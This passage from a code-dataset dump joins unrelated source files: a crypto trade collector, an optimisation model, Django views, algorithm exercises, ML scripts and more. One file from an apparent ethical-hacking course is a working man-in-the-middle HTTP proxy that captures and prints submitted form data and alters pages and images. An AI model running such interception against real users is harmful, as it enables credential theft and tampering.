len(exist_bithumb_table_records[coin_name]) - length_process * 2\n if over_num_queue > 0:\n for _ in range(over_num_queue):\n exist_bithumb_table_records[coin_name].popitem(last=False)\n\n return len(new_trade_list)\n\ndef get_trade_poloniex(coin_name, conn):\n global previous_t_poloniex\n\n try:\n url_s = 'https://poloniex.com/public?command=returnTradeHistory¤cyPair=USDT_' + coin_name + '&limit=' + str(length_process)\n raw_read = urllib.request.urlopen(url_s).read()\n t_poloniex = json.loads(raw_read)\n except BaseException as e:\n print(\"Poloniex API Exception!!! - \", e)\n return 0\n\n\n for trade in t_poloniex:\n timestamp = int(time.mktime(datetime.strptime(trade['date'], \"%Y-%m-%d %H:%M:%S\").timetuple()))\n trade['date'] = timestamp\n\n t_poloniex.sort(key=by_trade_date, reverse=True)\n\n last_t_trade = t_poloniex[-1]\n\n found_same = False\n for p_idx, p_trade in enumerate(previous_t_poloniex[coin_name]):\n if p_trade['globalTradeID'] == last_t_trade['globalTradeID']:\n found_same = True\n break\n if found_same:\n new_trade_list = t_poloniex[:len(t_poloniex) - p_idx - 1]\n else:\n new_trade_list = t_poloniex\n\n previous_t_poloniex[coin_name] = sorted(t_poloniex, key=by_trade_date, reverse=True)\n\n if len(new_trade_list) > 0:\n new_trade_list.reverse()\n trade_id_count = {}\n for trade in new_trade_list:\n date = datetime.fromtimestamp(trade['date']) + timedelta(hours=9)\n date = datetime.fromtimestamp(date.timestamp()).strftime('%Y-%m-%d %H:%M:%S')\n exchange_rate = float(recent_foreign_exchange_rate[0])\n price = trade['rate']\n price2 = float(trade['rate']) * exchange_rate\n amount = trade['amount']\n type = Terms_Poloniex(trade['type']).name\n total = float(trade['amount']) * price2\n trade_id = str(trade['globalTradeID'])\n\n try:\n\n cursor = conn.cursor()\n cursor.execute(\n insert_trade_sql.format(coin_name),\n (date, str(exchange_rate), price, str(price2), amount, str(total), type, 'poloniex', 1, trade_id)\n )\n except Exception as e:\n print(\"Poloniex Insert Exception\", e)\n pass\n conn.commit()\n\n return len(new_trade_list)\n\ndef get_foreign_exchange():\n def getPage(url):\n \"\"\"\n url 정보의 내용을 조회한다.\n \"\"\"\n try:\n req = urllib.request.Request(url)\n res = urllib.request.urlopen(req)\n content = res.read()\n except:\n content = \"\"\n\n return content\n\n def getExchangeOfNation(soup):\n dicExchange = {}\n\n alpha = '([A-Z]+)'\n\n for item in soup.table('tr')[2:]:\n # 정보 파싱\n nation = item('td')[0].text.strip()\n re_result = re.search(alpha, nation)\n nation = re_result.groups()[0]\n\n basicRateOfExchange = item('td')[1].text # 매매기준환율\n cash_buy = item('td')[2].text # 현찰 살때\n cash_sell = item('td')[3].text # 현찰 팔때\n transfer_send = item('td')[4].text # 송금 보낼 때\n transfer_receive = item('td')[5].text # 송금 받을 때\n\n dicExchange[nation] = {'basicRate': basicRateOfExchange, 'cashBuy': cash_buy, \\\n 'cashSell': cash_sell, 'transferSend': transfer_send,\n 'transferReceive': transfer_receive}\n\n return dicExchange\n\n # naver 환율 페이지 조회\n url = \"http://info.finance.naver.com/marketindex/exchangeList.nhn\"\n\n # page 내용을 조회한다.\n try:\n res = getPage(url)\n\n soup = BeautifulSoup(res, 'html.parser')\n nationExchangeRate = getExchangeOfNation(soup)\n except BaseException as e:\n print(\"get_foreign_exchange - Exception!!! - \", e)\n return\n\n # 최신 정보로 변경\n global recent_foreign_exchange_rate\n new_rate = nationExchangeRate['USD']['basicRate'].replace(',','')\n now = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n print(\"Foreign Exchange Rate Changed - \", new_rate, now)\n recent_foreign_exchange_rate = (new_rate, now)\n\ndef gmail_send():\n conn = conn_pool.get_connection()\n cursor = conn.cursor()\n cursor.execute(select_trade_all_sql)\n rows = cursor.fetchall()\n\n msg_str = \"\"\n btc_price = None\n for row in rows:\n coin_name = str(row[0])\n if coin_name == 'BTC':\n btc_price = str(row[1])\n msg_str += coin_name + \" - Price: \" + str(row[1]) + \" - Date: \" + str(row[2]) + \" \"\n\n msg_exchange = \"Basic Exchange Rate: \" + recent_foreign_exchange_rate[0] + \" - Date:\" + recent_foreign_exchange_rate[1]\n\n msg_content = '
[Trading Information Collection Status]
{msg_str}
{msg_exchange}'.format(\n msg_str=msg_str,\n msg_exchange=msg_exchange\n )\n message = MIMEText(msg_content, 'html')\n\n message['From'] = 'ManuscriptLink '\n message['To'] = 'Youn-Hee Han '\n message['Subject'] = 'Trading Information Collection Status (BTC: {btc_price})'.format(btc_price=btc_price)\n\n msg_full = message.as_string()\n\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.starttls()\n server.login(email_account, email_password)\n server.sendmail(email_account, ['support@thinkonweb.com'], msg_full)\n server.quit()\n print(\"Gmail Sent! -\", strftime(\"%Y-%m-%d %H:%M:%S\", gmtime()))\n conn_pool.return_connection(conn)\n\nif __name__ == \"__main__\":\n schedule.every().day.at(\"10:30\").do(gmail_send)\n #schedule.every().minute.do(gmail_send)\n schedule.every().minute.do(get_foreign_exchange)\n # schedule.every().day.at(\"10:30\").do(job)\n # schedule.every(5).to(10).minutes.do(job)\n # schedule.every().monday.do(job)\n # schedule.every().wednesday.at(\"13:15\").do(job)\n\n start_time = datetime.now(timezone.utc)\n\n try:\n while True:\n schedule.run_pending()\n conn = conn_pool.get_connection()\n for coin_name in coin_name_list:\n insert_count_bithumb = get_trade_bithumb(coin_name, conn)\n insert_count_poloniex = get_trade_poloniex(coin_name, conn)\n\n cumulative_bithumb_call_count += 1\n cumulative_poloniex_call_count += 1\n\n print(\"{0:6s}: New Bithumb Trade:{1:3d}, New Poloniex Trade:{2:3d} - {3:s}\".format(\n \"[\" + coin_name + \"]\",\n insert_count_bithumb,\n insert_count_poloniex,\n str(utc_to_asia_seoul(datetime.now(timezone.utc)))\n ))\n sys.stdout.flush()\n\n elapsed_time = (datetime.now(timezone.utc) - start_time).seconds\n print(\" Bithumb API Call Rate: {:5.2f} calls/sec. (It should be less than 20 calls/sec.)\".format(cumulative_bithumb_call_count / elapsed_time))\n print(\"Poloniex API Call Rate: {:5.2f} calls/sec. (It should be less than 6 calls/sec.)\".format(cumulative_poloniex_call_count / elapsed_time))\n print()\n\n conn_pool.return_connection(conn)\n except BaseException as e:\n print(e)\n finally:\n print(\"Finally!!!!\")\n conn_pool.close()","sub_path":"0.Common/3.CoinTrading/trade_info_collector.py","file_name":"trade_info_collector.py","file_ext":"py","file_size_in_byte":14610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"146026813","text":"'''\n # @ Author: Zion Deng\n # @ Description: Try to solve the project with MPC, pyomo \n Model description: \n state: x, y, theta, xdot, ydot, thetadot \n ctrl state: F, delta \n m=x(7);\n f(1,1) = x(4); % f\n f(2,1) = x(5); % dy\n f(3,1) = x(6); % d_theta\n f(4,1) = 0.001*(-(rou*Ar*(x(4)^2)/(2*m))-u(2)*(rou*Ag*(x(4)^2)/(2*m))); % df\n f(5,1) = -g-0.001*((rou*Ar*(x(5)^2)/(2*m))-u(2)*(rou*Ag*(x(5)^2)/(2*m))); % ddy\n f(6,1) = 0;\n f(7,1) = 0; % dm\n '''\n\nimport numpy as np \nimport pyomo.environ as pyo \nimport matplotlib.pyplot as plt \n\ndef MPC_reen():\n \"\"\" \n solve with pyomo\n return: feas, xOpt, uOpt \n \"\"\" \n # Constants\n M = 326956\n ROU = 1.1\n A = 100\n g = 10\n GAMMA = 0.1\n L = 70\n J = 1/2*M*L**2 \n K = GAMMA*ROU*A*g / (2*M)\n ST = 46000\n Ar=100\n Ag=36\n\n NX = 7 # number of states\n NU = 1 # number of inputs \n DT = 1 # time interval \n N = 70 # number of total intervals \n INITIAL_STATE = [201364, 102181, -1, 852, -767, 0, 354696] \n DESIRED_STATE = [260000, 20000, -1, 200, -560, 0, 326956.0] \n P = [1e-5, 1e-4, 1, 1e-2, 1e-2, 1, 1e-5] # P matrix for terminal state cost \n FMAX = 1.1 # the max force that engine can provide \n DELTAMAX = 0.1\n m = pyo.ConcreteModel() # pyomo model\n m.tidx = pyo.Set( initialize= range(0,N+1)) # time index \n m.xidx = pyo.Set( initialize= range(0, NX)) # state index \n m.uidx = pyo.Set( initialize= range(0, NU)) # input index \n\n m.x = pyo.Var(m.xidx, m.tidx) # model x[i,t]\n m.u = pyo.Var(m.uidx, m.tidx) # model u[i,t]\n\n # cost function \n m.cost = pyo.Objective(\n expr = sum((P[i] * (m.x[i,t] - DESIRED_STATE[i]))**2 for i in m.xidx for t in range(N-5,N)), \n sense = pyo.minimize \n ) \n # initial state constraints \n m.init_cons = pyo.Constraint(\n m.xidx, \n rule = lambda m, i: m.x[i,0] == INITIAL_STATE[i]\n ) \n # y > 200\n m.height_cons = pyo.Constraint(\n m.tidx,\n rule = lambda m, t: -m.x[1,t] <= 0\n if t < N else pyo.Constraint.Skip\n )\n # 0/', ShiftDetailView.as_view(), name='shift-detail'),\n path('shift//update', ShiftUpdateView.as_view(),name='shift-update'),\n path('shifts/', ShiftListView.as_view(), name='shifts'),\n # roster urls\n path('roster/create/', RosterCreateView.as_view(), name='roster-create'),\n]","sub_path":"Swasthya/eattendance/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"546804568","text":"# Dieses Skript Tauscht den HTML Code zwischen Orignal Anfrage und Proxy Abfrage aus\n# Skript in Kombination mit Firefox verwenden\n# Wir müssen jedoch noch die Proxy Einstellungen im Browser anpassen: Manuell Proxy Config \"127.0.0.1\", 7654\n# damit unsere Anfrage auf unseren Proxy Server umgeleitet wird\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nfrom socketserver import ThreadingMixIn # Für Verbesserung der Perfomance\n\nimport requests\nimport random\nimport urllib\n\n# Vererbung:Nimm gesamten Rahmen von BaseHTTPReqestHandler aber tausche ein paar Sachen aus\nclass MyRequestHandler(BaseHTTPRequestHandler):\n\n def do_POST(self):\n print(self.path)\n print(self.headers) # Header wenn der Browser dem Proxy Daten schickt\n if self.headers[\"content-type\"] == \"application/x-www-form-urlencoded\": # Wenne es sich um Typ Formular handelt\n length = int(self.headers[\"content-length\"]) # Länge des Formularinhalts als integer ermitteln\n print(length)\n read_form_raw = str(self.rfile.read(length), \"utf-8\") # Formulardaten lesen (raw)\n data = urllib.parse.parse_qs(read_form_raw) # Raw Formular zerlegen in strukturierte Form (dict) umwandeln\n\n with requests.post(self.path, data=data, stream=True) as res: # Schicke Post Requests an Server mit Formulardaten data ,welche wir gerade eben auzsgelesen haben\n\n self.send_response(res.status_code) # ABSOLUT NOTWENDIGE ZEILE. Statuscode muss immer an Browser mitgeteilt werden. Weiterleiten den Angefragten Pfades vom Broswser\n # Headers 1 zu 1 an Browser weiterleiten\n #print(res.headers) # res.headers ist ein Dictionary\n for key, value in res.headers.items(): # Auflösung Dictionary\n self.send_header(key, value)\n self.end_headers()\n\n # Informationen an unseren Browser schicken. Geht nur in Byteform -> Daher wird Str encoded in Bytes\n self.wfile.write(res.raw.read()) # Gibt die Rohdaten die von der Seite gesendet wurden weiter an Browser\n\n def do_GET(self):\n\n if self.path[-4:] == \".jpg\": # Nur wenn folgende Dateiendeung\n\n # Für anderes Bild\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\") # Text\n self.end_headers()\n\n images = [\"./Bilder/1.jpg\", \"./Bilder/2.jpg\"]\n\n with open(random.choice(images), \"rb\") as file:\n self.wfile.write(file.read()) # Text\n\n else:\n # Einrücken Notwendig, damit wir kein Memory Leak haben und damit wir in Variable res zusätzliche eigenschaft haben um auf Rohdaten (stream) zugreifen zu können\n with requests.get(self.path, stream=True) as res: # Herunterladen des angefragten Pfades\n\n self.send_response(res.status_code) # Weiterleiten den Angefragten Pfades vom Broswser\n\n print(res.headers) # res Headers -> Original Server Headers an Proxy die (als Dictionary)\n if \"text/html\" in res.headers[\"content-type\"]: # Wenn es sich um html Datei handelt\n self.send_header(\"Content-Type\", \"text/html\") # Bezieht sich auf die Headers die unser Proxy an den Browser schickt.\n print(res.content) # Enthält Originalinhalt was Server geantwortet hat\n content = str(res.content, \"utf-8\") # Interne Übergabe als String mit utf-8 Format\n content = content.replace(\"Bilder\", \"Katzenbilder\") # Ersetzt in HTML das Wort Bilder durch Katzenbilder\n #self.wfile.write(res.content, encode()) # Senden des Originalinhaltes\n self.wfile.write(content, encode()) # Senden unserer Message\n\n else:\n # Headers 1 zu 1 an Browser weiterleiten\n #print(res.headers) # res.headers ist ein Dictionary\n for key, value in res.headers.items(): # Auflösung Dictionary\n self.send_header(key, value)\n self.end_headers()\n\n # Informationen an unseren Browser schicken. Geht nur in Byteform -> Daher wird Str encoded in Bytes\n self.wfile.write(res.raw.read()) # Gibt die Rohdaten die von der Seite gesendet wurden weiter an Browser\n\n# Optimierung -> Kombination aus ThreadMixIn, HTTPServer (Mehrfachvererbung)\nclass ThreadingHTTPServer(ThreadingMixIn, HTTPServer): #\n pass\n\naddress = (\"127.0.0.1\", 7654) # IP Adresse (entsprechend dem Computer auf dem der Server läuft) und Port -> http://127.0.0.1:7654\n\nserver = ThreadingHTTPServer(address, MyRequestHandler) # ThreadingHTTP Server Adresse zuweisen, und verhalte dich entsprechend MyRequestHandler\nserver.serve_forever() # Server Starten und halte diesen am laufen","sub_path":"01_Tutorials/Udemy Kurs Ehical Hacking/09_Praxis_MITM_mit_HTTP-Proxy/105_HTTP_Proxy_Server_Fomular_auslesen.py","file_name":"105_HTTP_Proxy_Server_Fomular_auslesen.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"463870255","text":"from django.db import IntegrityError\n\nfrom rest_framework import generics, status, views\nfrom rest_framework.response import Response\n\nfrom videos.models import Video\nfrom videos.permissions import VideoViewPermissions\nfrom videos.serializers import VideoSerializer, CreateVideoSerializer\n\nfrom eswrapper.mixins import ESPaginationMixin\n\n\nclass ListVideos(generics.ListCreateAPIView):\n\n queryset = Video.objects.all()\n serializer_class = VideoSerializer\n permission_classes = (VideoViewPermissions, )\n\n def post(self, request, *args, **kwargs):\n serializer = CreateVideoSerializer(data=request.data)\n if not serializer.is_valid():\n return Response(status=status.HTTP_400_BAD_REQUEST)\n try:\n v = Video.objects.create(**serializer.data)\n return Response(VideoSerializer(v).data, status=status.HTTP_201_CREATED)\n except IntegrityError:\n return Response(status=status.HTTP_409_CONFLICT)\n\n\nclass VideoDetail(generics.RetrieveUpdateDestroyAPIView):\n\n queryset = Video.objects.all()\n serializer_class = VideoSerializer\n permission_classes = (VideoViewPermissions, )\n lookup_url_kwarg = 'video_pk'\n\n\nclass ESVideoList(ESPaginationMixin, views.APIView):\n\n def get(self, request, *args, **kwargs):\n qs = Video.es_objects.all()\n resp = self.esresp(Video.objects.count(), qs)\n return Response(resp, status=status.HTTP_200_OK)\n","sub_path":"trickapi/api/video_api.py","file_name":"video_api.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"447518462","text":"class Solution(object):\n def sumSubarrayMins(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n n,mod=len(A),10**9+7\n left,right,s1,s2=[0]*n,[0]*n, [],[]\n\n for i in range(n):\n count=1\n while s1 and s1[-1][0]>A[i]:\n count+=s1.pop()[1]\n left[i]=count\n s1.append([A[i],count])\n for i in range(n-1,-1,-1):\n count=1\n while s2 and s2[-1][0]>=A[i]:\n count+=s2.pop()[1]\n right[i]=count\n s2.append([A[i],count])\n return sum(a*l*r for a, l, r in zip(A,left,right)) % mod\n\n\n\na=Solution()\n\nprint(a.sumSubarrayMins([3,1,2,4]))","sub_path":"algorithms/python3/907_sum_of_subarray_minimums.py","file_name":"907_sum_of_subarray_minimums.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"437875581","text":"from time import time\nfrom typing import Optional\n\nfrom httpx import Client\n\n\nclass HTTPClient:\n def __init__(\n self,\n base_url: str,\n default_headers: Optional[dict] = None,\n default_params: Optional[dict] = None,\n ):\n self.base_url = base_url\n self.default_headers = default_headers or {}\n self.default_params = default_params or {}\n\n self.http_client = Client(\n base_url=self.base_url, headers=default_headers, params=self.default_params\n )\n\n def get(self, url: str, params: dict, headers: dict = None):\n custom_headers = headers or {}\n\n if not params.get(\"_rticket\"):\n params[\"_rticket\"] = int(round(time() * 1000))\n\n response = self.http_client.get(url=url, params=params, headers=custom_headers)\n\n return response\n\n def post(self, url: str, data: dict, headers: dict = None):\n custom_headers = headers or {}\n\n rticket = int(round(time() * 1000))\n\n response = self.http_client.post(\n url=url, params={\"_rticket\": rticket}, data=data, headers=custom_headers\n )\n\n return response\n","sub_path":"tiktok_bot/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"237869222","text":"#!/bin/env python\n# -*- coding: utf-8 -*-\n# encoding=utf-8 vi:ts=4:sw=4:expandtab:ft=python\n\"\"\"\n/***************************************************************************\n *\n * Copyright (c) 2020 Baidu.com, Inc. All Rights Reserved\n * @file: seg_predict_cpu.py\n * @date 2021/5/8 2:28 PM\n * @brief \n *\n **************************************************************************/\n\"\"\"\nimport paddlehub as hub\nimport cv2\nimport os\nimport shutil\n\npwd = os.getcwd()\nmodels_save = os.path.join(pwd, 'models_save')\npwd_last = os.path.abspath(os.path.join(os.getcwd(), \"..\"))\nimg_data = os.path.join(pwd_last, 'img_data')\nresults = os.path.join(pwd, 'results')\nif os.path.exists(results):\n shutil.rmtree(results)\n\npic_list = ['car.jpeg', 'det_03.jpg', 'small_bike.jpg', 'det_02.jpeg']\n\nfor pic in pic_list:\n model = hub.Module(\n name='ocrnet_hrnetw18_voc',\n pretrained=os.path.join(models_save, 'ocrnet_hrnetw18_voc', 'epoch_2',\n 'model.pdparams'))\n img = cv2.imread(os.path.join(img_data, pic))\n model.predict(images=[img], visualization=True, save_path=results)\n\nassert len(os.listdir(os.path.join(results, 'image'))) == len(pic_list)\nassert len(os.listdir(os.path.join(results, 'mask'))) == len(pic_list)\n","sub_path":"ce_cloud_models/PaddleHub/SEG/linux/scripts/hub_ocrnet_hrnetw18_voc/seg_predict_cpu.py","file_name":"seg_predict_cpu.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"996031","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 12 15:25:17 2018\r\n\r\n@author: ngritti\r\n\"\"\"\r\nfrom deeprest.rawDataClass import rawData\r\nfrom deeprest.modelClass import modelRest\r\nimport time, os, glob\r\n\r\n##%%\r\n'''\r\ncreate model and train on the input dataset of the train_model function\r\n'''\r\n\r\nparamFileModel = os.path.join('..','20190719_AF647_reconstruction','model_folder','model_params.txt')\r\nm = modelRest(paramFileModel, verbose = 1)\r\nm.print_info()\r\n\r\n##%%\r\n'''\r\nrestore full images\r\n'''\r\n\r\npath = os.path.join('..','..','..','Kerim_Anlas','Pescoid_SPIM_12_02_19','2019-02-12_16.41.38','111_sigmoid_noc')\r\nflist = glob.glob(os.path.join(path,'pescoid1--C00--T*.tif'))\r\nflist.sort()\r\nprint(len(flist),flist)\r\n\r\nfor i in range(len(flist)):\r\n print('#'*40+'\\n',flist[i],'\\n'+'#'*40)\r\n if not os.path.exists(os.path.join(path,'restoredFull','pescoid1--C00REC--T%05d.tif'%i)):\r\n start = time.time()\r\n with open(os.path.join(path,'pescoid1--C[CCC]--T%05d_params.txt'%i),'w+') as f:\r\n f.write(\"1318:ROIWidth\\n\")\r\n f.write(\"1052:ROIHeight\\n\")\r\n f.write(\"271:Planes\\n\")\r\n rd = rawData(os.path.join(path,'pescoid1--C[CCC]--T%05d_params.txt'%i))\r\n T = m.restore(rd,gt_ch=False,whatToRestore='raw',master_folder=os.path.join(path,'restoredFull'))\r\n os.remove(os.path.join(path,'pescoid1--C[CCC]--T%05d_params.txt'%i))\r\n os.remove(os.path.join(path,'restoredFull','pescoid1--C00--T%05d.tif'%i))\r\n print('Full image #%05d restored in:'%i, time.time()-start)\r\n","sub_path":"src/reconstruct_timelapse.py","file_name":"reconstruct_timelapse.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"465047798","text":"'''\nCreated on 10.1.2013\n ::.\n (\\./) .-\"\"-.\n `\\'-'` \\\n '.___,_^__/\n\n * Whale whale whale, what have we here?\n\n'''\nreadflags = {}\n\nwith open('paired_unmapped.sam', 'r') as matesw:\n for line in matesw:\n line.rstrip()\n if line[0] != \"@\":\n mateparts = line.split()\n readflags[mateparts[0]] = mateparts[7] #name:pos of next\n\nwriteto = open(\"identifier_pos.sam\", \"w\")\n\nwith open('mapped12.sam', 'r') as mapped:\n for entry in mapped:\n mappedparts = entry.split()\n if entry[0] != \"@\":\n if readflags.has_key(mappedparts[0]) and mappedparts[3] == readflags[mappedparts[0]]:\n writeto.write(entry)\n\nwriteto.close()\n\n\n\n\n","sub_path":"findMate.py","file_name":"findMate.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"350577671","text":"NOT_VISITED = -1\n\nclass Point():\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\ndef dfs(squareMap, cur_node, mark_num, cnt = 0):\n squareMap[cur_node.x][cur_node.y] = mark_num\n cnt += 1\n\n # 현재 위치에서 연결된 노드 검색\n if squareMap[cur_node.x][cur_node.y + 1] == NOT_VISITED: # 오른족\n cnt += dfs(squareMap, Point(cur_node.x, cur_node.y + 1), mark_num)\n\n if squareMap[cur_node.x + 1][cur_node.y] == NOT_VISITED: # 아래\n cnt += dfs(squareMap, Point(cur_node.x + 1, cur_node.y), mark_num)\n \n if squareMap[cur_node.x][cur_node.y - 1] == NOT_VISITED: # 왼쪽\n cnt += dfs(squareMap, Point(cur_node.x, cur_node.y - 1), mark_num)\n \n if squareMap[cur_node.x - 1][cur_node.y] == NOT_VISITED: # 위\n cnt += dfs(squareMap, Point(cur_node.x - 1, cur_node.y), mark_num)\n\n return cnt\n\nif __name__ == '__main__':\n import sys\n readline = lambda: sys.stdin.readline()\n n = int(readline().rstrip())\n\n squareMap = [[0] * (n + 2) for _ in range(n + 2)]\n\n for i in range(1, n + 1):\n line = list(readline().rstrip())\n for j, val in enumerate(line, 1):\n if val != '0':\n squareMap[i][j] = NOT_VISITED\n\n mark_num = 0\n res = []\n for i in range(1, n + 1):\n for j in range(1, n + 1):\n if squareMap[i][j] == NOT_VISITED:\n mark_num += 1\n cnt = dfs(squareMap, Point(i, j), mark_num)\n res.append(cnt)\n\n\n print(mark_num)\n res.sort()\n for each in res:\n print(each)","sub_path":"baekjoonOJ/2667/2667.py","file_name":"2667.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"482545842","text":"\"\"\"utility functions to build CLI.\"\"\"\n\nfrom __future__ import print_function\nimport six\nimport sys\nimport ctypes\n\nSYNUTIL_INSTANCE = None\n\n\ndef _get_synutil():\n global SYNUTIL_INSTANCE\n if SYNUTIL_INSTANCE is None:\n i = ctypes.cdll.LoadLibrary(\"libsynutil.so\")\n i.synutil_echo_ok.restype = None\n i.synutil_echo_ok.argtypes = [ctypes.c_char_p]\n i.synutil_echo_nok.restype = None\n i.synutil_echo_nok.argtypes = [ctypes.c_char_p]\n i.synutil_echo_warning.restype = None\n i.synutil_echo_warning.argtypes = [ctypes.c_char_p]\n i.synutil_echo_bold.restype = None\n i.synutil_echo_bold.argtypes = [ctypes.c_char_p]\n i.synutil_echo_running.restype = None\n i.synutil_echo_running.argtypes = []\n i.synutil_echo_clean.restype = None\n i.synutil_echo_clean.argtypes = []\n SYNUTIL_INSTANCE = i\n return SYNUTIL_INSTANCE\n\n\ndef echo_ok(message=\"\"):\n \"\"\"Write [OK] with colors if supported a little optional message.\n\n Args:\n message (string): little optional message.\n\n \"\"\"\n _get_synutil().synutil_echo_ok(message.encode('utf8'))\n\n\ndef echo_nok(message=\"\"):\n \"\"\"Write [ERROR] with colors if supported a little optional message.\n\n Args:\n message (string): little optional message.\n\n \"\"\"\n _get_synutil().synutil_echo_nok(message.encode('utf8'))\n\n\ndef echo_warning(message=\"\"):\n \"\"\"Write [WARNING] with colors if supported a little optional message.\n\n Args:\n message (string): little optional message.\n\n \"\"\"\n _get_synutil().synutil_echo_warning(message.encode('utf8'))\n\n\ndef echo_bold(message):\n \"\"\"Write a message in bold (if supported).\n\n Args:\n message (string): message to write in bold.\n\n \"\"\"\n _get_synutil().synutil_echo_bold(message.encode('utf8'))\n\n\ndef echo_running(message=None):\n \"\"\"Write [RUNNING] with colors if supported.\n\n You can pass an optional message which will be rendered before [RUNNING]\n on the same line.\n\n Args:\n message (string): little optional message.\n\n \"\"\"\n if message is None:\n _get_synutil().synutil_echo_running()\n else:\n if six.PY2:\n print(message, end=\"\")\n sys.stdout.flush()\n else:\n print(message, end=\"\", flush=True)\n _get_synutil().synutil_echo_running()\n\n\ndef echo_clean():\n \"\"\"Clean waiting status.\"\"\"\n _get_synutil().synutil_echo_clean()\n","sub_path":"layers/layer1_python3/0100_mfutil/mfutil/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"461753459","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass PCNet(nn.Module):\n\n def __init__(self, K: int, M: int, R_epochs: int = 150, R_lr: float = 0.1, lmda: float = 5e-3):\n '''\n Create a sparse coding network. Neural responses are fitted through ISTA algorithm.\n\n Args:\n K: number of neurons\n M: size of receptive field (width / height)\n R_epochs: number of epochs to run for ISTA\n R_lr: learning rate for ISTA\n lmda: regularization strength for ISTA\n '''\n super(PCNet, self).__init__()\n self.K = K\n self.M = M\n self.R_epochs = R_epochs\n self.R_lr = R_lr\n self.lmda = lmda\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n # model weigths\n self.U = torch.randn(self.K, self.M ** 2, requires_grad=True, device=self.device)\n with torch.no_grad():\n self.U = F.normalize(self.U, dim=1)\n self.U.requires_grad_(True)\n # responses\n self.R = None\n\n def _ista(self, img_batch):\n # create R\n batch_size = img_batch.shape[0]\n self.R = torch.zeros((batch_size, self.K), requires_grad=True, device=self.device)\n # trian\n for _ in range(self.R_epochs):\n # pred\n pred = self.R @ self.U\n # loss\n loss = ((img_batch - pred) ** 2).sum()\n loss.backward()\n # update R in place\n self.R.data.sub_(self.R_lr * self.R.grad.data)\n # zero grad\n self.zero_grad()\n # soft thresholding\n with torch.no_grad():\n self.R = PCNet._soft_thresholding(self.R, self.lmda)\n self.R.requires_grad_(True)\n\n @staticmethod\n def _soft_thresholding(x, alpha):\n return F.relu(x - alpha) - F.relu(-x - alpha)\n\n def zero_grad(self):\n self.U.grad.data.zero_()\n self.R.grad.data.zero_()\n\n def forward(self, img_batch):\n # first fit\n self._ista(img_batch)\n # now predict again\n pred = self.R @ self.U\n return pred\n","sub_path":"src/model/PCNet.py","file_name":"PCNet.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"94564782","text":"from Countries import France\nfrom mimesis import Person\nfrom mimesis.enums import Gender\n\nperson = Person(France['gen'])\nperson.full_name(gender=Gender.MALE)\n\n\"\"\"\ncs da de de-at de-ch el en en-au en-ca \nCzech Danish German Austrian german Swiss german Greek English Australian English Canadian English\n\nen-gb es es-mx et fa fi fr hu is it \nBritish English Spanish Mexican Spanish Estonian Farsi Finnish French Hungarian Icelandic Italian \n\nja kk ko nl nl-be no pl pt pt-br \nJapanese Kazakh Korean Dutch Belgium Dutch Norwegian Polish Portuguese Brazilian Portuguese \n\nru sv tr uk zh \nRussian Swedish Turkish Ukrainian Chinese \n\n\"\"\"\n\n# Romania\n\nRomanian_surnames = {'Popa', 'Popescu', 'Ionescu', 'Pop', 'Radu', 'Dumitru', 'Gheorghe', 'Stoica', 'Stan', 'Munteanu',\n 'Constantin', 'Andrei', 'Rusu', 'Anghel', 'Matei', 'Marin', 'Mihai', 'Ciobanu', 'Serban', 'Stefan',\n 'Lazar', 'Florea', 'Dumitrescu', 'Barbu', 'Stanciu', 'Vasile', 'Ilie', 'Cristea', 'Toma',\n 'Moldovan', 'Oprea', 'Dinu', 'Tudor', 'Ionita', 'Ion', 'Ungureanu', 'Constantinescu', 'Georgescu',\n 'Balan', 'Neagu', 'Dragomir', 'Badea', 'Cojocaru', 'Sandu', 'Mocanu', 'Enache', 'Nagy', 'Coman',\n 'Craciun', 'Lupu', 'Muresan', 'Vlad', 'Dobre', 'Tanase', 'Avram', 'Radulescu', 'Iordache',\n 'Grigore', 'Lungu', 'Ivan', 'Nicolae', 'Szabo', 'Bucur', 'Manea', 'Ene', 'Marinescu', 'Alexandru',\n 'Petre', 'Albu', 'Voicu', 'Preda', 'Iancu', 'Dragan', 'Olteanu', 'Stoian', 'David', 'Petrescu',\n 'Roman', 'Iacob', 'Filip', 'Diaconu', 'Costea', 'Baciu', 'Marcu', 'Rosu', 'Nistor', 'Kovacs',\n 'Pavel', 'Cretu', 'Stanescu', 'Anton', 'Simion', 